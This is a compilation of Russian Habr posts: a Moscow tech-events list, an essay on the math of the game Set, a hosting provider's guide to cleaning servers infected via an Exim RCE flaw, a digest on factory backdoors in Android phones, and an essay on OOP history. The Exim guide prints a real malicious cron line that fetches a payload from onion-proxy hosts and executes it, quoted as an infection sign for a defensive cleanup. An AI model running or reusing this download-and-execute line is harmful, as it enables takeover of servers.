Digital-мероприятия в Москве c 11 по 16 июня

Подборка мероприятий на неделю.

image

Встреча с пользователями TheQuestion и Знатоков

  • 11 июня (вторник)
  • Толстого 16
  • бесплатно
  • Приглашаем пользователей TheQuestion и Яндекс.Знатоков на встречу, посвящённую интеграции сервисов. Мы расскажем, как построена наша работа, и поделимся планами. Вы сможете высказать мнения, задать вопросы и повлиять на отдельные решения.

ok.tech: Data Толк

  • 13 июня (четверг)
  • Ленинградский пр 39стр79
  • бесплатно
  • 13 июня приглашаем всех, кто работает с данными, в московский офис Одноклассников, на ok.tech: Data Толк. Вместе с коллегами из OK.ru, Mail.ru Group, ivi.ru, Яндекс.Такси и других технологических компаний обсудим вопросы эволюции хранилищ и баз данных, поговорим о достоинствах и недостатках разных подходов к хранению данных, а также как эти подходы влияют на удобство разных команд по взаимодействию с данными. Мероприятие пройдет в формате открытой дискуссии между спикерами и аудиторией, поэтому готовьте свои вопросы и не стесняйтесь их задавать.

BEMup — митап по БЭМ

  • 14 июня (пятница)
  • Толстого 16
  • бесплатно
  • В программе:
    — Обзор @bem-react/classname — самого минималистичного пакета для генерации имен CSS-классов по БЭМ с поддержкой TypeScript.
    — Статические и динамические модификаторы с помощью @bem-react/core. Рассмотрим правильные способы композиции, способы расширения компонентов и другие тонкости использования.
    — Управление зависимостями благодаря @bem-react/di: зачем компонентам реестры, как правильно организовать эксперименты на проекте, нужно ли класть все зависимости в реестр, организация кода под разные платформы, разделение кода в модификаторах и блоках.

ManySessions. Ламповая встреча Дизайн-комьюнити

  • 14 июня (пятница)
  • Земляной вал 9
  • бесплатно
  • «ManySessions» — это митап для продуктовых дизайнеров и менеджеров продукта, который пройдет 14 июня в офисе компании ManyChat.
    Интересные доклады от профессионалов креативной индустрии, жаркие споры в кулуарах, полезные знакомства и возможность встретиться с коллегами из других компаний — все это и не только ждет участников данного мероприятия.

Кнопки и иконки: отражение реального мира в интерфейсе. Лекция

  • 14 июня (пятница)
  • Берсеневская наб 14стр5А
  • бесплатно
  • Любая публикация в интернете — всегда компромисс и следование правилам интерфейса сервиса. Но и сам набор кнопок, диалоговых окон и простых действий вроде копирования, перемещения, сохранения может стать этим содержанием и отправным пунктом для творчества. В течение двух лет Инес Кокс документировала все этапы своей цифровой работы, чтобы понять, как особенности экранных интерфейсов влияют на ее дизайн.

Продуктовые воркшопы Blankset PSW

  • 15 июня (суббота)
  • Москва
  • от 2 300 р.
  • В школе Blankset запустили командные воркшопы мозгового штурма, где люди генерируют решения для реальных продуктовых задач. Вся практика проводится на основе реальных аналитических данных и результатов исследований, а процесс фасилитируется специалистами из сильнейших продуктовых команд.
    Тема ближайшего воркшопа 15 июня — конверсия и привлечение внимания пользователей. Будут разбираться подходы к генерации конверсионных промо- и функциональных решений, а на практическом задании слушатели получат бриф от МегаФон и отработают все эти подходы и инструменты вживую.

about:cloud

  • 15 июня (суббота)
  • Толстого 16
  • бесплатно
  • Во время about:cloud вы можете пообщаться с теми, кто создает Яндекс.Облако, дать обратную связь разработчикам и руководителям сервисов.
    В этот раз поговорим о вот этих сервисах:
    Yandex Managed Service for Kubernetes — окружение для надежного, удобного и безопасного управления кластерами Kubernetes в инфраструктуре Яндекс.Облака.
    Yandex Monitoring — сервис для сбора метрик про состояние ресурсов с возможностью их визуализации.
    Yandex Instance Groups — сервис для развёртывания и масштабирования виртуальных машин, который позволяет создавать группы однотипных ВМ в инфраструктуре Яндекс.Облака.
    Yandex Message Queue — сервис распределенных очередей, позволяющий организовать надежный, масштабируемый и высокопроизводительный обмен сообщениями между приложениями.

Хакатон «Цифровой рост»

  • 16 июня (воскресенье)
  • Вернадского 82корп2
  • бесплатно
  • Участники будут соревноваться в решении задач на машинное обучение, текстовый анализ, маркетинговую аналитику, а также в создании различных типов проектов на основе данных: расширения для веб-браузеров, инфографику, прототипы интернет-сервисов и мобильных приложений, боты. Участники могут решить одну из предложенных задач или разработать свой проект на основе предложенных данных.


ссылка на оригинал статьи https://habr.com/ru/post/455630/

Математика и игра «Сет»

image

Кто найдет тут «сет», получит от меня шоколадку.

Сет — гениальная игра в которую мы рубились лет 5 назад. Крики, вопли, фотографирование комбинаций.

В правилах игры написано, что ее изобрела в 1991 году генетик Марша Фалко (Marsha Falco), делая пометки во время исследования эпилепсии у немецких овчарок в 1974 году. Для тех, у кого мозг достаточно изможден математикой, через какое-то время возникает подозрение, что есть тут какие-то отголоски с планиметрией и проведением прямых через точки. (Для заданных двух карт существует одна и только одна карта, входящая с ними в один сет.)

image

Марша Фалко как бы спрашивает: «Ну что, не нашел „сет“?»

Вспоминаем правила

image

Сет — это карточная игра. Все карты имеют четыре параметра, каждый из которых принимает три значения (итого 3 x 3 × 3 × 3 = 81 карта).

image

Виды и значения параметров таковы:

  • фигура ::= эллипс | ромб | «сопля»
  • цвет ::= красный | зелёный | фиолетовый
  • заливка ::= белая | полосатая | сплошная
  • количество ::= 1 | 2 | 3

Цель игры состоит в нахождении особых сочетаний из трёх карт. Значения каждого параметра для всех трёх карт должны быть либо совпадающими, либо различными. Такие сочетания карт называются сетом.

image

Другими словами можно сказать, что три карты не будут составлять сет, если две карты имеют одно значение параметра, а третья — другое. Можно видеть, что для любых двух карт всегда найдётся третья (притом единственная), с которой они будут сетом.

Ход игры: ведущий выкладывает на стол 12 карт. Когда кто-либо находит сет, он кричит «Сет!» и потом спокойно забирает составляющие сет карты. Если же в выложенных картах сета нет (скорее вcего, только кажется, что нет), ведущий выкладывает ещё три карты.

Максимальное количество карт без сета равно 20. Раунд продолжается, пока не кончилась колода. Выигрывает тот, кто собрал больше сетов.

Математики подсуетились и представили комбинацию из 20 карточек. Кто считает себя Чаком Норрисом, может забыть эту картинку и попробовать собрать «пасьянс» без сета самостоятельно.
Или проверить, а вдруг тут всё-таки есть «сет»?

20 карт без сета

image
Удобно проверить, что нет «сета по цвету».

image

Те же карты, но расположение показывает что нес сетов по параметру «заливки».

image

По количеству.

image

По фигурам.

image

Нет сета по различию признаков.

Открытая нерешенная задача математики

Сколько максимально можно карточек выложить, чтобы не получилось ни одного «сета»? Признак имеет три значения.

при 1 «признаке» — 2 карточки
2 признака — 4 карточки
3 признака — 9 карточек
4 признака — 20 карточек
5 признаков — 45 карточек
6 признаков — 112 карточек
7 признаков — хз

А при «n→∞»?

Видео

Создатель игры:

Алексей Савватеев искромётно рассказывает про Сет:

Статьи


ссылка на оригинал статьи https://habr.com/ru/post/455634/

Первая волна пострадавших от уязвимости Exim. Скрипт для лечения

Уязвимость с RCE в Exim уже довольно сильно нашумела, и довольно сильно потрепала нервы системным администраторам по всему миру.

На волне массовых заражений (очень многие наши клиенты используют Exim в качестве почтового сервера) быстренько накидал скрипт для автоматизации решения проблемы. Скрипт далек от идеала и полон неоптимального кода, но это быстрое боевое решение для того, чтоб не выполнять однотипные действия на сотнях или даже тысячах серверов.

Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.

Как понять, что сервер взломан?

Проверьте запущенные процессы командой top.
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений

Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов.

Важно: уязвимость позволяет исполнять код из под root’а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

Что делает скрипт?

1. Если операционная система, установленная на сервере:

  • Не Centos 6 обновляет Exim, переустанавливает curl.
  • Centos 6 — обновляет Exim из тестового репозитория EPEL (релиз в штатные репозитории ожидается 11-12.06), переустанавливает curl.

2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений.

Например, таких:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 

2а. Если в папке /etc есть следы вирусного скрипта, делает следующее

  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
    /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp 
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

2б. Если следов заражения нет, скрипт завершает работу.

Уточнения

Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.

curl также заражается вирусом, поэтому он переустанавливается.

Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

Как пользоваться?

Традиционно: перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

Для запуска скрипта:

Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

В терминале введите команду:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

Ожидайте завершения выполнения скрипта и перезагрузки сервера.

После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

Ну и напоследок

По сути, скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.

Все рекомендации по доработке/переработке скрипта приветствуются. Если вы столкнулись с другим симптомом заражения — покажите его, пожалуйста. Кооперация в моменты массовых заражений значительно снижает время, нужное на устранение этих заражений.

Удачи!

UPD1: Добавил на github.
Залил туда же исходник скрипта малвари, который удалось вытащить с зараженного сервера.


ссылка на оригинал статьи https://habr.com/ru/company/first/blog/455636/

Security Week 24: заводские бэкдоры в смартфонах Android

Прошедшая неделя вышла богатой на новости про безопасность смартфонов Android. Во многих СМИ (например, в ArsTechnica) написали о том, что Google «подтвердила» факт продажи смартфонов с предустановленным «на заводе» бэкдором. Поводом для таких заголовков стала вполне техническая статья эксперта Google Лукаша Сиверски с разбором семейства мобильных вредоносных программ Triada.

Triada известна исследователям (включая, естественно, команду Google) с 2016 года. Впервые бэкдор описали специалисты «Лаборатории Касперского» (здесь и здесь). В этих двух материалах подробно рассказывается о внедрении вредоносного кода в операционную систему (еще в версии Android 4.x), сборе и отправке данных о пользователе, а также модификации нескольких браузеров для демонстрации рекламных баннеров.

Что действительно представляет интерес в посте представителя Android Security Team, так это ответ на вопрос, как именно вредоносный код попал в прошивку телефонов. Разработчики китайских бюджетных устройств обращались к подрядчикам для разработки дополнительных фич. Через такого подрядчика в систему встраивался бэкдор.

В исследовании «Лаборатории Касперского» 2016 года описывается вариант Triada, который мог быть предустановлен на телефоны китайских производителей, но также был способен атаковать любые другие смартфоны. Triada использовала уязвимости в актуальной на тот момент версии Android 4.x. Уникальной особенностью бэкдора была способность внедрения в ключевой процесс Android, известный как Zygote.

Такой подход обеспечивал трояну практически полный контроль над устройством. Статья Android Security Team подробно описывает и еще одну деталь: для получения контроля над системными процессами Triada использовала модифицированный бинарник su. Он давал приложениям привилегии суперпользователя, только если они делали запрос с правильным паролем.
Также в посте Лукаша Сиверски рассказывается, как бэкдор отслеживал, какое приложение открывал пользователь. Если это был браузер, поверх него демонстрировалась реклама. Если открывался магазин Google Play, Triada в фоне скачивала и устанавливала приложения с собственного командного сервера.

В 2017 году компания Dr.Web в своем исследовании привела примеры зараженных «заводским» бэкдором смартфонов: Leagoo M5 Plus, Leagoo M8, Nomu S10 и S20. Недорогие (около 100 долларов) устройства продавались и в Китае, и на Западе, некоторые из них до сих пор можно найти в китайских интернет-магазинах.

В свежей статье Google раскрывает схему внедрения «заводской» версии Triada (см. изображение выше). Судя по всему, поставщики смартфонов обращались к сторонним компаниям для включения в прошивку устройства дополнительной функциональности, отсутствующей в проекте Android Open Source. Для этого подрядчику (упоминаются компании Yehuo и Blazefire) отправлялся образ системы. Он же возвращался с довеском — как легитимным (разблокировка по лицу владельца), так и вредоносным. В Google сообщили, что совместно с разработчиками устройств удалили следы бэкдора из прошивок.

Но, видимо, только этого бэкдора. 7 июня представители управления по информационной безопасности (BSI) Германии сообщили (новость) об обнаружении бэкдора Xgen2-CY в четырех бюджетных смартфонах. Модели Doogee BL7000, M-Horse Pure 1, Keecoo P11 и VKworld Mix Plus собирают информацию о пользователе и отправляют ее на командный сервер, способны без ведома пользователя устанавливать приложения и открывать страницы в браузере. Только для модели Keecoo P11 (5.7 дюйма, 4 ядра, 2 гигабайта памяти, 110 долларов на GearBest) доступна обновленная версия прошивки без бэкдора. По данным BSI, к C&C-серверам злоумышленников с немецких IP обращаются до 20 тысяч устройств.

В общем, проблема не совсем решена, и рекомендация для потребителей, наверное, будет такая: подумайте дважды, прежде чем покупать дешевый смартфон сомнительного бренда. В июле прошлого года мы цитировали статью издания Motherboard, в котором описывалась копеечная реплика iPhone X из Китая. Устройство рассылало пользовательскую информацию направо и налево. Такие поделки за пределы Китая обычно не попадают, но некоторые «международные» устройства оказываются не лучше. В то время как мы обсуждаем вопросы приватности и практику сбора данных о пользователе всеми участниками рынка, десятки тысяч людей по всему миру становятся жертвами откровенного киберкриминала.

Disclaimer: Мнения, изложенные в этом дайджесте, могут не всегда совпадать с официальной позицией «Лаборатории Касперского». Дорогая редакция вообще рекомендует относиться к любым мнениям со здоровым скептицизмом.


ссылка на оригинал статьи https://habr.com/ru/company/kaspersky/blog/455646/

Алан Кэй не изобретал объекты

Люди продолжают утверждать, что современные объектно-ориентированные языки, на самом деле «не совсем объектно-ориентированные», поскольку они не соответствуют определению ООП Алана Кэя. На мой взгляд, в этом смысл, хотя я не согласен с выводом. В последнее время мне встречаются люди, которые говорят о том, что именно Кэй изобрёл объекты. Фактически это неверно.

Алан Кэй не изобретал объекты. Они были в Simula, которую приводит в качестве основного источника вдохновения руководство к Smalltalk-72 (с. 117). В выпуске известного журнала Byte за 1981 год, который популяризировал Smalltalk и ООП, говорится, что «основная идея объектов, сообщений и классов пришла из SIMULA». В нем сказано, что Simula позволяет пользователям создавать «объектно-ориентированные системы», что, возможно, слишком, но тем не менее. Команда Smalltalk хорошо знала систему объектов в Simula и черпала вдохновение из неё.

Одной из причин, почему такой миф всё ещё жив, послужило то, что сказал сам Кэй в 1998 году:

Просто напоминаю, что на последней OOPSLA я постарался донести до всех, что Smalltalk — это не только НЕ синтаксис или библиотека классов, но даже не классы. Мне очень жаль, что ранее я ввел термин «объекты» для этой темы, поскольку это заставляет многих людей сосредоточиться на меньшей идее.

И далее в этом интервью он продолжает:

Я имею в виду, что я изобрел термин «объекты». Поскольку мы делали объекты первыми, не было других объектов, чтобы радикализировать это.

Позднее он перестал это утверждать, но люди до сих пор продолжают использовать ту цитату как факт.

Алан Кэй изобрел термин «Объектно-ориентированное программирование»

Это абсолютная правда.

ООП было в классах и объектах

В последнее время многие продолжают утверждать, что ООП на самом деле — не в классах и объектах, и что на самом деле наиболее важными являются сообщения. В посте 1998 года, после того, как Кэй сказал, как он сожалеет об «объектах», он также говорит, что «бо́льшая идея — это обмен сообщениями». Далее он пишет:

ООП для меня это только сообщения, локальное удержание и защита, скрытие состояния и позднее связывание всего. Это можно сделать в Smalltalk и в LISP. Вероятно, существует другие системы, где это возможно, но мне о них не известно.

В раннем ООП сообщения во многом считались важными, прежде всего для обслуживания объектов. Вот как Дон Ингаллс объясняет ООП в своем введении в Smalltalk-76:

Smalltalk скорее ориентирован на объекты, а не на функции, и это часто путает людей, имеющих опыт в computer science. Например, вычислить <someobject>+4 означает отправить +4 объекту как сообщение. Основное отличие состоит в том, что всем управляет объект, а не +. Если <someobject> является целым числом 3, то результатом будет целое число 7. Однако, если <someobject> был строкой 'Meta', результатом может быть Meta4. Таким образом, смысловая нагрузка идёт вместе с объектами системы, а код остается абстрактной формой, просто направляя поток сообщений.

В книге «Microelectronics and the Personal Computer» Кэй говорит о системе «сообщение-действие», в которой «каждое действие принадлежит семье», и говорит о расширении деятельности в «точки зрения» объектных отношений как будущей границы. В руководстве к Smalltalk-72 он пишет (с. 18):

Основная идея при написании программ на Small talk заключается в том, чтобы определить классы, которые обрабатывают связи между объектами в созданной среде.

При просмотре ранних источников складывается картина, что ООП состоит из трех основных идей: классов, которые определяют протокол и реализацию, объектов как экземпляров классов и сообщений как средств коммуникации. Идея о том, что классы и объекты были вторичными по отношению к сообщениям появилась гораздо позже.

Smalltalk был первым настоящим объектно-ориентированным языком

ACM вручила Премью Тьюринга Далю и Нюгору, и назвала их «соавторами ООП». Также журнал Byte пишет, что Simula была объектно-ориентированной, а в статье «The Computer Revolution hasn’t happened yet» Кэй называет Sketchpad «очень объектно-ориентированным». На мой взгляд, это не признаёт заслуг Smalltalk в должной степени. В отличие от других систем, в Smalltalk:

  • Не было необъектных примитивов: числа были объектами, ошибки были объектами, классы были объектами, сообщения были объектами.
  • Можно было передать сообщение любому объекту, включая другие сообщения.
  • Методы и реализации были связаны с объектами, а не с сессией.

Последний пункт является наиболее хитрым и, возможно, самым важным, хотя никто толком не объясняет, что делает его столь особенным. В Simula вызов отсутствующего метода вызывает ошибку. Это часть спецификации Simula. В Smalltalk-80, если ни один метод не соответствует сообщению, объект по умолчанию возвращает сообщение doesNotUnderstand. Вызывающий объект может отреагировать на него, либо передать сообщение дальше, либо сигнализировать об ошибке. Класс также может переопределить действие по умолчанию и сделать что-то, кроме возвратаdoesNotUnderstand.

Также это значит, что система обмена сообщениями не зависит от внутреннего строения объектов. Им даже необязательно быть частью одного проекта. Отсюда следует, что вы можете делать такие вещи, как отправка сообщений объектам, написанным на разных языках, передача определений объектов по почте, отправка сообщений через SMS и т.д. На мой взгляд, именно в этом заключается мощь «передачи сообщений», но в тоже время это один из наименее изученных аспектов.

У Smalltalk был окружающий контекст

Люди не изобретают инструменты спонтанно. У них есть конкретные ситуации и задачи, и они пытаются найти решение этих задач. Новшества в Smalltalk и ООП — не исключение.

Алан Кэй интересовался темой персональных компьютеров. Его работы над FLEX, Dynabook и Smalltalk строятся вокруг этого. По его мнению, ПК должен был быть полностью под контролем пользователя; всё, от логики ядра системы до графического рендеринга, — можно было бы настраивать и исследовать во время работы. Передача сообщений и позднее связывание решают ряд задач. Если ребенок устанавливает новую игру, нужно ли перекомпилировать всю ОС, чтобы использовать новую программу? Нет: сделайте так, чтобы можно было отправить произвольное сообщение любому объекту и положиться на обработку протокола во время работы, чтобы выполнить задачу.(*) Если человек нарушает логику работы звуковой системы, должна ли вся ОС упасть? Конечно, нет, поэтому разрешите объектам самим решать, как обрабатывать сообщения. Объекты хорошо себя здесь проявляют.

Оле Даль и Кирстен Нюгор пытались решить совершенно другую задачу. Их интересовала симуляция. Одно из исследований в руководстве по Simula — моделирование распространения инфекции среди фиксированной популяции. Система полностью закрыта: у вас есть фиксированный набор кода, вы запускаете симуляцию и получаете результат. Для них передача сообщений бесполезна. Но возможности определять симуляции в терминах других симуляций, специализировать сущности и моделировать время как объект первого класса невероятно полезны. Объекты также хорошо себя здесь проявляют .

Так кто же использовал объекты «правильно»? Это неразумный вопрос. Они делали разные вещи, поскольку у них были разные задачи. Наша современная идея ООП — это синтез всех их идей, а также идей Адель Голдберг, Барбары Лисков, Дэвида Парнаса, Бертрана Мейера, Гюля Ага и многих других. Но никто из них не может утверждать, что же такое «ООП». Понятия развиваются, как и задачи.

tl;dr

Интервью, взятые более 30 лет назад, не являются хорошими первоисточниками.


* Возможно, это делает Powershell духовным преемником Smalltalk.


ссылка на оригинал статьи https://habr.com/ru/post/455638/